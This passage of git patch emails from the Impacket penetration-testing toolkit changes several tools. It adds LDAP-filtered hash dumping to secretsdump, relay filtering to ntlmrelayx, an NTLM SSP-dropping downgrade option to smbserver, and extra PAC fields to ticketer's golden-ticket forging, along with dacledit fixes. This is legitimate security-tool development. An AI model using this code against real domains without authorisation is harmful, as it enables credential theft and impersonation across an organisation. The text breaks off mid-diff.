self.__useVSSMethod is True: self.__remoteOps.enableRegistry() @@ -225,7 +274,7 @@ def dump(self): useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, outputFileName=self.__outputFileName, justUser=self.__justUser, - printUserStatus= self.__printUserStatus) + ldapFilter=self.__ldapFilter, printUserStatus=self.__printUserStatus) try: self.__NTDSHashes.dump() except Exception as e: @@ -239,7 +288,7 @@ def dump(self): if resumeFile is not None: os.unlink(resumeFile) logging.error(e) - if self.__justUser and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >=0: + if (self.__justUser or self.__ldapFilter) and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: logging.info("You just got that error because there might be some duplicates of the same name. " "Try specifying the domain name for the user as well. It is important to specify it " "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") @@ -326,6 +375,9 @@ def cleanup(self): group.add_argument('-just-dc-user', action='store', metavar='USERNAME', help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. ' 'Implies also -just-dc switch') + group.add_argument('-ldapfilter', action='store', metavar='LDAPFILTER', + help='Extract only NTDS.DIT data for specific users based on an LDAP filter. ' + 'Only available for DRSUAPI approach. Implies also -just-dc switch') group.add_argument('-just-dc', action='store_true', default=False, help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)') group.add_argument('-just-dc-ntlm', action='store_true', default=False, @@ -371,7 +423,7 @@ def cleanup(self): domain, username, password, remoteName = parse_target(options.target) - if options.just_dc_user is not None: + if options.just_dc_user is not None or options.ldapfilter is not None: if options.use_vss is True: logging.error('-just-dc-user switch is not supported in VSS mode') sys.exit(1) diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index a665266411..d1e348a52b 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -66,6 +66,8 @@ from impacket import LOG from impacket import system_errors from impacket import winregistry, ntlm +from impacket.ldap.ldap import SimplePagedResultsControl, LDAPSearchError +from impacket.ldap.ldapasn1 import SearchResultEntry from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE @@ -364,10 +366,11 @@ def __str__(self): return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName) class RemoteOperations: - def __init__(self, smbConnection, doKerberos, kdcHost=None): + def __init__(self, smbConnection, ldapConnection, doKerberos, kdcHost=None): self.__smbConnection = smbConnection if self.__smbConnection is not None: self.__smbConnection.setTimeout(5*60) + self.__ldapConnection = ldapConnection self.__serviceName = 'RemoteRegistry' self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' self.__rrp = None @@ -626,6 +629,34 @@ def getMembersInAlias(self, rid): return resp + def getDomainUsersLDAP(self, searchFilter): + try: + LOG.debug('Search Filter=%s' % searchFilter) + sc = SimplePagedResultsControl(size=100) + resp = self.__ldapConnection.search(searchFilter=searchFilter, attributes=['msDS-PrincipalName'], sizeLimit=0, searchControls=[sc]) + except LDAPSearchError: + raise + + self.__ldapConnection.close() + + domainUsers = [] + for item in resp: + if isinstance(item, SearchResultEntry): + msDSPrincipalName = '' + try: + for attribute in item['attributes']: + if str(attribute['type']) == 'msDS-PrincipalName': + msDSPrincipalName = attribute['vals'][0].asOctets().decode('utf-8') + except Exception as e: + LOG.debug("Exception", exc_info=True) + LOG.error('Skipping item, cannot process due to error %s' % str(e)) + pass + else: + LOG.debug('DA msDS-PrincipalName: %s' % msDSPrincipalName) + domainUsers.append(msDSPrincipalName) + + return domainUsers + def getDomainSid(self): if self.__domainSid is not None: return self.__domainSid @@ -1926,7 +1957,7 @@ class CRYPTED_BLOB(Structure): def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=True, remoteOps=None, useVSSMethod=False, justNTLM=False, pwdLastSet=False, resumeSession=None, outputFileName=None, - justUser=None, printUserStatus=False, + justUser=None, ldapFilter=None, printUserStatus=False, perSecretCallback = lambda secretType, secret : _print_helper(secret), resumeSessionMgr=ResumeSessionMgrInFile): self.__bootKey = bootKey @@ -1949,6 +1980,7 @@ def __init__(self, ntdsFile, bootKey, isRemote=False, history=False, noLMHash=Tr self.__resumeSession = resumeSessionMgr(resumeSession) self.__outputFileName = outputFileName self.__justUser = justUser + self.__ldapFilter = ldapFilter self.__perSecretCallback = perSecretCallback # these are all the columns that we need to get the secrets. @@ -2441,7 +2473,7 @@ def dump(self): try: self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1]) except: - if os.getenv('KRB5CCNAME') is not None and self.__justUser is not None: + if os.getenv('KRB5CCNAME') is not None and (self.__justUser is not None or self.__ldapFilter is not None): # RemoteOperations failed. That might be because there was no way to log into the # target system. We just have a last resort. Hope we have tickets cached and that they # will work @@ -2532,8 +2564,8 @@ def dump(self): LOG.info('Resuming from SID %s, be patient' % resumeSid) else: resumeSid = None - # We do not create a resume file when asking for a single user - if self.__justUser is None: + # We do not create a resume file when asking for individual users + if self.__justUser is None and self.__ldapFilter is None: self.__resumeSession.beginTransaction() if self.__justUser is not None: @@ -2578,6 +2610,39 @@ def dump(self): LOG.error("Error while processing user!") LOG.debug("Exception", exc_info=True) LOG.error(str(e)) + elif self.__ldapFilter is not None: + resp = self.__remoteOps.getDomainUsersLDAP(self.__ldapFilter) + formatOffered = drsuapi.DS_NAME_FORMAT.DS_NT4_ACCOUNT_NAME + for user in resp: + crackedName = self.__remoteOps.DRSCrackNames(formatOffered, + drsuapi.DS_NAME_FORMAT.DS_UNIQUE_ID_NAME, + name=user) + + if crackedName['pmsgOut']['V1']['pResult']['cItems'] == 1: + if crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status'] != 0: + raise Exception("%s: %s" % system_errors.ERROR_MESSAGES[ + 0x2114 + crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['status']]) + + userRecord = self.__remoteOps.DRSGetNCChanges(crackedName['pmsgOut']['V1']['pResult']['rItems'][0]['pName'][:-1]) + #userRecord.dump() + replyVersion = 'V%d' % userRecord['pdwOutVersion'] + if userRecord['pmsgOut'][replyVersion]['cNumObjects'] == 0: + raise Exception('DRSGetNCChanges didn\'t return any object!') + else: + LOG.warning('DRSCrackNames returned %d items for user %s, skipping' % ( + crackedName['pmsgOut']['V1']['pResult']['cItems'], user)) + try: + self.__decryptHash(userRecord, + userRecord['pmsgOut'][replyVersion]['PrefixTableSrc']['pPrefixEntry'], + hashesOutputFile) + if self.__justNTLM is False: + self.__decryptSupplementalInfo(userRecord, userRecord['pmsgOut'][replyVersion]['PrefixTableSrc'][ + 'pPrefixEntry'], keysOutputFile, clearTextOutputFile) + + except Exception as e: + LOG.error("Error while processing user %s!" % user) + LOG.debug("Exception", exc_info=True) + LOG.error(str(e)) else: while status == STATUS_MORE_ENTRIES: resp = self.__remoteOps.getDomainUsers(enumerationContext) @@ -2639,7 +2704,7 @@ def dump(self): # Everything went well and we covered all the users # Let's remove the resume file is we had created it - if self.__justUser is None: + if self.__justUser is None and self.__ldapFilter is None: self.__resumeSession.clearResumeData() LOG.debug("Finished processing and printing user's hashes, now printing supplemental information") From 47c942684e76fbfd54d924b962014135912d221f Mon Sep 17 00:00:00 2001 From: shoxxdj Date: Wed, 22 Jun 2022 14:12:03 +0200 Subject: [PATCH 123/152] add filter option to ntlmrelayx.py --- examples/ntlmrelayx.py | 25 ++++++++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index 81f2360abe..efd837a4b2 100755 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -111,7 +111,30 @@ def do_socks(self, line): logging.error("ERROR: %s" % str(e)) else: if len(items) > 0: - self.printTable(items, header=headers) + if("=" in line and len(line.replace('socks','').split('='))==2): + _filter=line.replace('socks','').split('=')[0] + _value=line.replace('socks','').split('=')[1] + if(_filter=='target'): + _filter=1 + elif(_filter=='username'): + _filter=2 + elif(_filter=='admin'): + _filter=3 + else: + logging.info('Expect : target / username / admin = value') + _items=[] + for i in items: + if(_value.lower() in i[_filter].lower()): + _items.append(i) + if(len(_items)>0): + self.printTable(_items,header=headers) + else: + logging.info('No relay matching filter available!') + + elif("=" in line): + logging.info('Expect target/username/admin = value') + else: + self.printTable(items, header=headers) else: logging.info('No Relays Available!') From 52c5449d085ff1336442cbb235c6fadf9561bbdd Mon Sep 17 00:00:00 2001 From: Davide Ornaghi Date: Sun, 26 Jun 2022 21:01:57 +0200 Subject: [PATCH 124/152] Added flag to drop SSP from Net-NTLMv1 auth --- examples/smbserver.py | 2 ++ impacket/ntlm.py | 7 +++++-- impacket/smbserver.py | 24 ++++++++++++++++++++---- 3 files changed, 27 insertions(+), 6 deletions(-) diff --git a/examples/smbserver.py b/examples/smbserver.py index df658a0f73..b65e3fc2f7 100755 --- a/examples/smbserver.py +++ b/examples/smbserver.py @@ -42,6 +42,7 @@ parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface') parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)') + parser.add_argument('-dropssp', action='store_true', default=False, help='Disable NTLM ESS/SSP during negotiation') parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)') if len(sys.argv)==1: @@ -72,6 +73,7 @@ server.addShare(options.shareName.upper(), options.sharePath, comment) server.setSMB2Support(options.smb2support) + server.setDropSSP(options.dropssp) # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous # connections will be allowed diff --git a/impacket/ntlm.py b/impacket/ntlm.py index bf26f1d6c3..b9c5c4a9a0 100644 --- a/impacket/ntlm.py +++ b/impacket/ntlm.py @@ -145,6 +145,9 @@ def computeResponse(flags, serverChallenge, clientChallenge, serverName, domain, # If set, the connection SHOULD be anonymous NTLMSSP_NEGOTIATE_ANONYMOUS = 0x00000800 +# Flags used by Responder to drop SSP (little endian) +NTLMSSP_DROP_SSP_STATIC = 0xe2818215 + # If set, LM authentication is not allowed and only NT authentication is used. NTLMSSP_NEGOTIATE_NT_ONLY = 0x00000400 @@ -269,7 +272,7 @@ class VERSION(Structure): ) class NTLMAuthNegotiate(Structure): - + structure = ( ('','"NTLMSSP\x00'), ('message_type',' Date: Sat, 9 Jul 2022 12:35:59 +0000 Subject: [PATCH 125/152] Description update of dacledit.py --- examples/dacledit.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 9d6bec8c5f..17a919f331 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -8,7 +8,7 @@ # for more information. # # Description: -# Python script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer +# Python script to read and manage the Discretionary Access Control List of an object # # Authors: # Charlie BROMBERG (@_nwodtuhs) From 866a269b923ac112bfc735ee8442c265cc0244a1 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Fri, 22 Jul 2022 00:08:50 +0200 Subject: [PATCH 126/152] Fixing logic error that was overwriting files --- examples/dacledit.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index 17a919f331..ba589d8533 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -21,7 +21,7 @@ import codecs import json import logging -import re +import os import sys import traceback import datetime @@ -360,6 +360,10 @@ def backup(self): backup["dn"] = self.target_principal.entry_dn if not self.filename: self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") + else: + if os.path.exists(self.filename): + logging.ingo("File %s already exists, I'm refusing to overwrite it, setting another filename") + self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") with codecs.open(self.filename, 'w', 'utf-8') as outfile: json.dump(backup, outfile) logging.info('DACL backed up to %s', self.filename) From 8c3904d887cc108dae0553fc82be5ffcf003ff2b Mon Sep 17 00:00:00 2001 From: synzack Date: Thu, 21 Jul 2022 16:36:55 -0600 Subject: [PATCH 127/152] Fixed Logging Output --- examples/dacledit.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/examples/dacledit.py b/examples/dacledit.py index ba589d8533..688c7c4a5d 100755 --- a/examples/dacledit.py +++ b/examples/dacledit.py @@ -362,7 +362,7 @@ def backup(self): self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") else: if os.path.exists(self.filename): - logging.ingo("File %s already exists, I'm refusing to overwrite it, setting another filename") + logging.info("File %s already exists, I'm refusing to overwrite it, setting another filename" % self.filename) self.filename = 'dacledit-%s.bak' % datetime.datetime.now().strftime("%Y%m%d-%H%M%S") with codecs.open(self.filename, 'w', 'utf-8') as outfile: json.dump(backup, outfile) @@ -389,9 +389,8 @@ def restore(self): # Do a backup of the actual DACL and push the restoration self.backup() + logging.info('Restoring DACL') self.modify_secDesc_for_dn(self.target_DN, new_security_descriptor) - logging.info('The DACL has been well restored.') - # Attempts to retrieve the DACL in the Security Descriptor of the specified target def search_target_principal_security_descriptor(self): From 3bba69c99c7b29c99c8fff8f5e443f2d09690bb6 Mon Sep 17 00:00:00 2001 From: Sam Free5ide Date: Mon, 25 Jul 2022 20:09:31 +0300 Subject: [PATCH 128/152] Add LDAP connection check --- impacket/examples/secretsdump.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index d1e348a52b..5762e771a3 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -630,6 +630,11 @@ def getMembersInAlias(self, rid): return resp def getDomainUsersLDAP(self, searchFilter): + domainUsers = [] + if self.__ldapConnection is None: + LOG.error('Failed to establish LDAP connection, the user list will be empty') + return domainUsers + try: LOG.debug('Search Filter=%s' % searchFilter) sc = SimplePagedResultsControl(size=100) @@ -639,7 +644,6 @@ def getDomainUsersLDAP(self, searchFilter): self.__ldapConnection.close() - domainUsers = [] for item in resp: if isinstance(item, SearchResultEntry): msDSPrincipalName = '' From 17f712f2a0ea21f335b1fe0e87cd4284e79e5863 Mon Sep 17 00:00:00 2001 From: snovvcrash Date: Mon, 25 Jul 2022 20:12:59 +0300 Subject: [PATCH 129/152] Move ldapConnection parameter Co-authored-by: leandro <56035084+0xdeaddood@users.noreply.github.com> --- impacket/examples/secretsdump.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index 5762e771a3..abde3c1146 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -366,7 +366,7 @@ def __str__(self): return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName) class RemoteOperations: - def __init__(self, smbConnection, ldapConnection, doKerberos, kdcHost=None): + def __init__(self, smbConnection, doKerberos, kdcHost=None, ldapConnection=None): self.__smbConnection = smbConnection if self.__smbConnection is not None: self.__smbConnection.setTimeout(5*60) From 21341c47f83370aaf9778a323ff0357555b4fda3 Mon Sep 17 00:00:00 2001 From: snovvcrash Date: Mon, 25 Jul 2022 20:13:17 +0300 Subject: [PATCH 130/152] Move ldapConnection parameter Co-authored-by: leandro <56035084+0xdeaddood@users.noreply.github.com> --- examples/secretsdump.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/examples/secretsdump.py b/examples/secretsdump.py index f2bb8a1cd2..23c89e4491 100755 --- a/examples/secretsdump.py +++ b/examples/secretsdump.py @@ -200,7 +200,7 @@ def dump(self): else: raise - self.__remoteOps = RemoteOperations(self.__smbConnection, self.__ldapConnection, self.__doKerberos, self.__kdcHost) + self.__remoteOps = RemoteOperations(self.__smbConnection, self.__doKerberos, self.__kdcHost, self.__ldapConnection) self.__remoteOps.setExecMethod(self.__options.exec_method) if self.__justDC is False and self.__justDCNTLM is False and self.__useKeyListMethod is False or self.__useVSSMethod is True: self.__remoteOps.enableRegistry() From 2b79d364b4defd7f26fc1f69ae607505a21ce918 Mon Sep 17 00:00:00 2001 From: Dramelac Date: Thu, 1 Sep 2022 17:47:50 +0200 Subject: [PATCH 131/152] Ticketer extra-pac implementation (UPN_DNS_FULL, ATTRIBUTES, REQUESTOR) --- examples/ticketer.py | 174 ++++++++++++++++++++++++++++++++++++++----- impacket/krb5/pac.py | 55 +++++++++++++- 2 files changed, 210 insertions(+), 19 deletions(-) diff --git a/examples/ticketer.py b/examples/ticketer.py index c7d8422fa9..ef460d7274 100755 --- a/examples/ticketer.py +++ b/examples/ticketer.py @@ -73,9 +73,11 @@ from impacket.krb5.crypto import _checksum_table, Enctype from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \ - VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO + VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO, UPN_DNS_INFO_FULL, PAC_REQUESTOR_INFO, PAC_UPN_DNS_INFO, PAC_ATTRIBUTES_INFO, PAC_REQUESTOR, \ + PAC_ATTRIBUTE_INFO from impacket.krb5.types import KerberosTime, Principal from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS +from impacket.ldap.ldaptypes import LDAP_SID class TICKETER: @@ -101,6 +103,14 @@ def getFileTime(t): t *= 10000000 t += 116444736000000000 return t + + @staticmethod + def getPadLength(data_length): + return ((data_length + 7) // 8 * 8) - data_length + + @staticmethod + def getBlockLength(data_length): + return (data_length + 7) // 8 * 8 def loadKeysFromKeytab(self, filename): keytab = Keytab.loadFile(filename) @@ -164,10 +174,15 @@ def createBasicValidationInfo(self): kerbdata['LogonCount'] = 500 kerbdata['BadPasswordCount'] = 0 kerbdata['UserId'] = int(self.__options.user_id) - kerbdata['PrimaryGroupId'] = 513 # Our Golden Well-known groups! :) groups = self.__options.groups.split(',') + if len(groups) == 0: + # PrimaryGroupId must be set, default to 513 (Domain User) + kerbdata['PrimaryGroupId'] = 513 + else: + # Using first group as primary group + kerbdata['PrimaryGroupId'] = int(groups[0]) kerbdata['GroupCount'] = len(groups) for group in groups: @@ -232,8 +247,68 @@ def createBasicPac(self, kdcRep): clientInfo['NameLength'] = len(clientInfo['Name']) pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData() + if self.__options.extra_pac: + self.createUpnDnsPac(pacInfos) + self.createAttributesInfoPac(pacInfos) + self.createRequestorInfoPac(pacInfos) + return pacInfos + def createUpnDnsPac(self, pacInfos): + upnDnsInfo = UPN_DNS_INFO_FULL() + + PAC_pad = b'\x00' * self.getPadLength(len(upnDnsInfo)) + upn_data = f"{self.__target.lower()}@{self.__domain.lower()}".encode("utf-16-le") + upnDnsInfo['UpnLength'] = len(upn_data) + upnDnsInfo['UpnOffset'] = len(upnDnsInfo) + len(PAC_pad) + total_len = upnDnsInfo['UpnOffset'] + upnDnsInfo['UpnLength'] + pad = self.getPadLength(total_len) + upn_data += b'\x00' * pad + + dns_name = self.__domain.upper().encode("utf-16-le") + upnDnsInfo['DnsDomainNameLength'] = len(dns_name) + upnDnsInfo['DnsDomainNameOffset'] = total_len + pad + total_len = upnDnsInfo['DnsDomainNameOffset'] + upnDnsInfo['DnsDomainNameLength'] + pad = self.getPadLength(total_len) + dns_name += b'\x00' * pad + + # Enable additional data mode (Sam + SID) + upnDnsInfo['Flags'] = 2 + + samName = self.__target.encode("utf-16-le") + upnDnsInfo['SamNameLength'] = len(samName) + upnDnsInfo['SamNameOffset'] = total_len + pad + total_len = upnDnsInfo['SamNameOffset'] + upnDnsInfo['SamNameLength'] + pad = self.getPadLength(total_len) + samName += b'\x00' * pad + + user_sid = LDAP_SID() + user_sid.fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}") + upnDnsInfo['SidLength'] = len(user_sid) + upnDnsInfo['SidOffset'] = total_len + pad + total_len = upnDnsInfo['SidOffset'] + upnDnsInfo['SidLength'] + pad = self.getPadLength(total_len) + user_data = user_sid.getData() + b'\x00' * pad + + # Post-PAC data + post_pac_data = upn_data + dns_name + samName + user_data + # Pac data building + pacInfos[PAC_UPN_DNS_INFO] = upnDnsInfo.getData() + PAC_pad + post_pac_data + + @staticmethod + def createAttributesInfoPac(pacInfos): + pacAttributes = PAC_ATTRIBUTE_INFO() + pacAttributes["FlagsLength"] = 2 + pacAttributes["Flags"] = 1 + + pacInfos[PAC_ATTRIBUTES_INFO] = pacAttributes.getData() + + def createRequestorInfoPac(self, pacInfos): + pasRequestor = PAC_REQUESTOR() + pasRequestor['UserSid'].fromCanonical(f"{self.__options.domain_sid}-{self.__options.user_id}") + + pacInfos[PAC_REQUESTOR_INFO] = pasRequestor.getData() + def createBasicTicket(self): if self.__options.request is True: if self.__domain == self.__server: @@ -473,7 +548,7 @@ def customizeTicket(self, kdcRep, pacInfos): if logging.getLogger().level == logging.DEBUG: logging.debug('VALIDATION_INFO after making it gold') validationInfo.dump() - print ('\n') + print('\n') else: raise Exception('PAC_LOGON_INFO not found! Aborting') @@ -553,58 +628,120 @@ def customizeTicket(self, kdcRep, pacInfos): def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): logging.info('Signing/Encrypting final ticket') + # Basic PAC count + pac_count = 4 + # We changed everything we needed to make us special. Now let's repack and calculate checksums validationInfoBlob = pacInfos[PAC_LOGON_INFO] - validationInfoAlignment = b'\x00' * (((len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob)) + validationInfoAlignment = b'\x00' * self.getPadLength(len(validationInfoBlob)) pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE] - pacClientInfoAlignment = b'\x00' * (((len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob)) + pacClientInfoAlignment = b'\x00' * self.getPadLength(len(pacClientInfoBlob)) + + pacUpnDnsInfoBlob = None + pacUpnDnsInfoAlignment = None + if PAC_UPN_DNS_INFO in pacInfos: + pac_count += 1 + pacUpnDnsInfoBlob = pacInfos[PAC_UPN_DNS_INFO] + pacUpnDnsInfoAlignment = b'\x00' * self.getPadLength(len(pacUpnDnsInfoBlob)) + + pacAttributesInfoBlob = None + pacAttributesInfoAlignment = None + if PAC_ATTRIBUTES_INFO in pacInfos: + pac_count += 1 + pacAttributesInfoBlob = pacInfos[PAC_ATTRIBUTES_INFO] + pacAttributesInfoAlignment = b'\x00' * self.getPadLength(len(pacAttributesInfoBlob)) + + pacRequestorInfoBlob = None + pacRequestorInfoAlignment = None + if PAC_REQUESTOR_INFO in pacInfos: + pac_count += 1 + pacRequestorInfoBlob = pacInfos[PAC_REQUESTOR_INFO] + pacRequestorInfoAlignment = b'\x00' * self.getPadLength(len(pacRequestorInfoBlob)) serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM]) serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM] - serverChecksumAlignment = b'\x00' * (((len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob)) + serverChecksumAlignment = b'\x00' * self.getPadLength(len(serverChecksumBlob)) privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM]) privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM] - privSvrChecksumAlignment = b'\x00' * (((len(privSvrChecksumBlob) + 7) // 8 * 8) - len(privSvrChecksumBlob)) + privSvrChecksumAlignment = b'\x00' * self.getPadLength(len(privSvrChecksumBlob)) # The offset are set from the beginning of the PAC_TYPE # [MS-PAC] 2.4 PAC_INFO_BUFFER - offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4 + offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * pac_count # Let's build the PAC_INFO_BUFFER for each one of the elements validationInfoIB = PAC_INFO_BUFFER() validationInfoIB['ulType'] = PAC_LOGON_INFO validationInfoIB['cbBufferSize'] = len(validationInfoBlob) validationInfoIB['Offset'] = offsetData - offsetData = (offsetData + validationInfoIB['cbBufferSize'] + 7) // 8 * 8 + offsetData = self.getBlockLength(offsetData + validationInfoIB['cbBufferSize']) pacClientInfoIB = PAC_INFO_BUFFER() pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob) pacClientInfoIB['Offset'] = offsetData - offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) // 8 * 8 + offsetData = self.getBlockLength(offsetData + pacClientInfoIB['cbBufferSize']) + + pacUpnDnsInfoIB = None + if pacUpnDnsInfoBlob is not None: + pacUpnDnsInfoIB = PAC_INFO_BUFFER() + pacUpnDnsInfoIB['ulType'] = PAC_UPN_DNS_INFO + pacUpnDnsInfoIB['cbBufferSize'] = len(pacUpnDnsInfoBlob) + pacUpnDnsInfoIB['Offset'] = offsetData + offsetData = self.getBlockLength(offsetData + pacUpnDnsInfoIB['cbBufferSize']) + + pacAttributesInfoIB = None + if pacAttributesInfoBlob is not None: + pacAttributesInfoIB = PAC_INFO_BUFFER() + pacAttributesInfoIB['ulType'] = PAC_ATTRIBUTES_INFO + pacAttributesInfoIB['cbBufferSize'] = len(pacAttributesInfoBlob) + pacAttributesInfoIB['Offset'] = offsetData + offsetData = self.getBlockLength(offsetData + pacAttributesInfoIB['cbBufferSize']) + + pacRequestorInfoIB = None + if pacRequestorInfoBlob is not None: + pacRequestorInfoIB = PAC_INFO_BUFFER() + pacRequestorInfoIB['ulType'] = PAC_REQUESTOR_INFO + pacRequestorInfoIB['cbBufferSize'] = len(pacRequestorInfoBlob) + pacRequestorInfoIB['Offset'] = offsetData + offsetData = self.getBlockLength(offsetData + pacRequestorInfoIB['cbBufferSize']) serverChecksumIB = PAC_INFO_BUFFER() serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob) serverChecksumIB['Offset'] = offsetData - offsetData = (offsetData + serverChecksumIB['cbBufferSize'] + 7) // 8 * 8 + offsetData = self.getBlockLength(offsetData + serverChecksumIB['cbBufferSize']) privSvrChecksumIB = PAC_INFO_BUFFER() privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob) privSvrChecksumIB['Offset'] = offsetData - # offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8 + # offsetData = self.getBlockLength(offsetData+privSvrChecksumIB['cbBufferSize']) # Building the PAC_TYPE as specified in [MS-PAC] - buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \ - privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \ - pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment + buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + if pacUpnDnsInfoIB is not None: + buffers += pacUpnDnsInfoIB.getData() + if pacAttributesInfoIB is not None: + buffers += pacAttributesInfoIB.getData() + if pacRequestorInfoIB is not None: + buffers += pacRequestorInfoIB.getData() + + buffers += serverChecksumIB.getData() + privSvrChecksumIB.getData() + validationInfoBlob + \ + validationInfoAlignment + pacInfos[PAC_CLIENT_INFO_TYPE] + pacClientInfoAlignment + if pacUpnDnsInfoIB is not None: + buffers += pacUpnDnsInfoBlob + pacUpnDnsInfoAlignment + if pacAttributesInfoIB is not None: + buffers += pacAttributesInfoBlob + pacAttributesInfoAlignment + if pacRequestorInfoIB is not None: + buffers += pacRequestorInfoBlob + pacRequestorInfoAlignment + buffersTail = serverChecksumBlob + serverChecksumAlignment + privSvrChecksum.getData() + privSvrChecksumAlignment pacType = PACTYPE() - pacType['cBuffers'] = 4 + pacType['cBuffers'] = pac_count pacType['Version'] = 0 pacType['Buffers'] = buffers + buffersTail @@ -649,7 +786,7 @@ def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): if logging.getLogger().level == logging.DEBUG: logging.debug('Customized EncTicketPart') print(encTicketPart.prettyPrint()) - print ('\n') + print('\n') encodedEncTicketPart = encoder.encode(encTicketPart) @@ -701,7 +838,7 @@ def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart, pacInfos): if logging.getLogger().level == logging.DEBUG: logging.debug('Final Golden Ticket') print(kdcRep.prettyPrint()) - print ('\n') + print('\n') return encoder.encode(kdcRep), cipher, sessionKey @@ -745,6 +882,7 @@ def run(self): parser.add_argument('-user-id', action="store", default = '500', help='user id for the user the ticket will be ' 'created for (default = 500)') parser.add_argument('-extra-sid', action="store", help='Comma separated list of ExtraSids to be included inside the ticket\'s PAC') + parser.add_argument('-extra-pac', action='store_true', help='Populate your ticket with extra PAC (UPN_DNS, ATTRIBUTES and REQUESTOR)') parser.add_argument('-duration', action="store", default = '3650', help='Amount of days till the ticket expires ' '(default = 365*10)') parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') diff --git a/impacket/krb5/pac.py b/impacket/krb5/pac.py index f01bc47f85..4bf100c9f5 100644 --- a/impacket/krb5/pac.py +++ b/impacket/krb5/pac.py @@ -12,10 +12,11 @@ # Author: # Alberto Solino (@agsolino) # -from 